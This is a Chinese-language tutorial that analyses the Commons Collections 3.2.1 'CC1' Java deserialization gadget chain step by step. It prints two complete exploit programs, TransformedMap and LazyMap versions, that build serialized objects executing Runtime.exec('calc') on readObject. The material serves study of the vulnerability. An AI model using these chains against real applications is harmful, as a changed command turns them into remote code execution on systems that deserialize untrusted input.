Common-Collections

相关介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)

Common-Collections 这个项目开发出来是为了给 Java 标准的Collections API提供了相当好的补充,在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。在开发应用程序的过程中,既保证了性能,同时也能大大简化代码

包结构介绍

  • org.apache.commons.collections– CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag– 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap– 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer– 实现Buffer接口的一组类
  • org.apache.commons.collections.collection–实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors–Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators– 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue– 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list– 实现java.util.List接口的一组类
  • org.apache.commons.collections.map– 实现Map系列接口的一组类
  • org.apache.commons.collections.set– 实现Set系列接口的一组类
环境配置

下载 jdk8u65

image-20230310140128772

创建一个 IDEA 项目,选中 maven,并使用 jdk8u65

image-20230310143042613

在添加 Maven 中,对 CC1 链的依赖包

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
image-20230310143112331

我们 import CC 的包

1
import org.apache.commons.collections.functors.InvokerTransformer;

如果成功说明安装成功了

image-20230310143237052

我们还要做一件事,修改 sun 包。

因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件

openJDK 8u65下载 zip 文件

image-20230310143452386

将其解压之后,先搁一边,我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了

image-20230310143935573

在idea中把src目录加进去

image-20230311111812748
TransformMap版CC1链分析

CC1链有两种构造方法,先来TransformMap版CC1攻击链分析

首先我们再次明确一下反序列化的攻击思路:

入口类这里,我们需要一个readObject方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下

image-20230310105046210
  1. 寻找尾部的 exec 方法
  • 总结出前人挖洞的思路,我们这里加速,去到 Transformer 接口看一看

快捷键 ctrl + alt + B,查看实现接口的类

image-20230310152243916

我先是寻找了MapTransformer,再寻找了InvokerTransformer成功找到了我们需要的尾部 — 命令执行,在InvokerTransformer类中存在一个反射调用任意类,可以作为我们链子的终点

image-20230310152452823

看到这里有漏洞,我们构造一下,调用这个类弹计算器

image-20230310153841774
1
2
3
4
5
6
7
8
9
import org.apache.commons.collections.functors.InvokerTransformer;  

public class InvokeTransformerTest {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
image-20230310154009247

注意我们最后一句 invokerTransformer.transform(runtime); 所以我们下一步目标是找调用transform方法的不同名函数

右键find usages查看调用transform的地方

image-20230311083846709

要是只显示了一处调用的话, ctrl + alt + shift + f7 + (fn) 把更改为project file改为All Places

image-20230311092135983

得到21处results

image-20230311092300138

其中TransformedMap类中存在checkSetValue()方法调用了transform()方法

image-20230311120939429

TransformedMap的构造方法作用域是protected,我们还需要去找谁调用了TransformedMap的构造方法,发现在decorate()静态方法中创建了TransformedMap对象

只有一处地方调用了checkSetValue方法,在AbstractInputCheckedMapDecorator类中的setValue方法

image-20230311120843545

再找调用setValue方法的地方,这里调用setValue的地方有点多,一个一个找有点麻烦,我们尝试理解一下这个类,AbstractInputCheckedMapDecorator是TransformedMap的子类

image-20230311104509262

在map中一个键值对就是一个entry,我们遍历Transformed中的map时就会调用AbstractInputCheckedMapDecorator中的setValue方法,进而调用checkSetValue

image-20230311105329600

构造一下代码

image-20230311110227504

至此利用链成功一半了

现在要找一个entry遍历数组,里面调用setValue方法,传进去的值可控。理想状态是找到一个readObject方法,诶还真找到了

image-20230311112108777

image-20230311113004872 image-20230311112733689

找到AnnotationInvocationHandler,这个类完美地符合我们的预期。InvocationHandler这个后缀,是用做动态代理中间处理,因为它继承了InvocationHandler接口

要注意这个类的访问权限不是public,只能在这个包里访问,因此要通过反射获取这个类

image-20230311114417280

至此流程就设计好了,但是还有几个问题

1.Runtime对象是我们自己生成的,没继承Serializable接口不能序列化

2.setValue的值貌似不可控

3.两个if条件要满足

image-20230311115952639

先来解决Runtime:

Runtime是不能序列化的,但是Runtime.class是可以序列化的,下面是反射的Runtime

image-20230311174515891

接着,我们将这个反射的Runtime改造为使用InvokerTransformer调用的方式

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

image-20230311180220868

可以看到都是后一个调用前一个,transformer循环调用,与ChainedTransfomer功能一致,转换成ChainedTransfomer版本

image-20230311181000797

下面这样运行是调用不成功的

image-20230311181738432

下断点跟进一下,发现我们的第一个if条件不满足,直接步过了

image-20230311205756422

因此思考怎样传值能满足if条件

image-20230311212118441

Override中没有成员方法,找不到和key同名的成员方法,故不满足

image-20230311212259379

换Target类

image-20230311212346815

有个名为value的成员方法,满足,我们只需要传key=”value”即可

image-20230311212538784

这个时候能走到第二个if条件了

image-20230311213049534

但是控制不了第二个if条件中setValue方法的参数value的值,如果能控制的话结合之前推的链就能成功利用了

image-20230311213635193

我们需要找到一个类,能够可控setValue的参数,这里找到的是ConstantTransformer 类,完美符合预期,只要初始构造函数传入我们想要的值,最后transform方法无论传入什么都返回我们构造函数传入的值,上面setValue最后的值没有丝毫影响!

image-20230311215207484

我们先传入一个Runtime.class,然后无论transform()方法会调用什么对象,都会返回Runtime.class

image-20230311215606419

至此整条链分析完毕,成功执行!

image-20230311215650975

总结一下我们的利用链

1
2
3
4
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject

使用到的工具类辅助利用链:

1
2
3
ConstantTransformer
ChainedTransformer
HashMap

流程图

image-20230311220249733

整体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//// invokerTransformer.transform(runtime);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

HashMap<Object,Object> map = new HashMap();
map.put("value","value"); //随便写个键值对,防止map为空
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); //相当于第十二行代码
//
// for(Map.Entry entry:transformedMap.entrySet()){ //遍历TransformedMap
// entry.setValue(r);
// }

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
annocationInvocationHandler.setAccessible(true);
Object o = annocationInvocationHandler.newInstance(Target.class,transformedMap);

serialize(o);
unserialize("ser.bin");

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

// Class c = Runtime.class;
// Method method = c.getMethod("getRuntime");
// Runtime runtime = (Runtime) method.invoke(null, null);
// Method run = c.getMethod("exec", String.class);
// run.invoke(runtime, "calc");
}

public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}
LazyMap版CC1链分析

ysoserial中用的是LazyMap构造的链子

image-20230312095520089

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
annocationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annocationInvocationHandler.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annocationInvocationHandler.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

image-20230312093924708

汇总

image-20230311234030640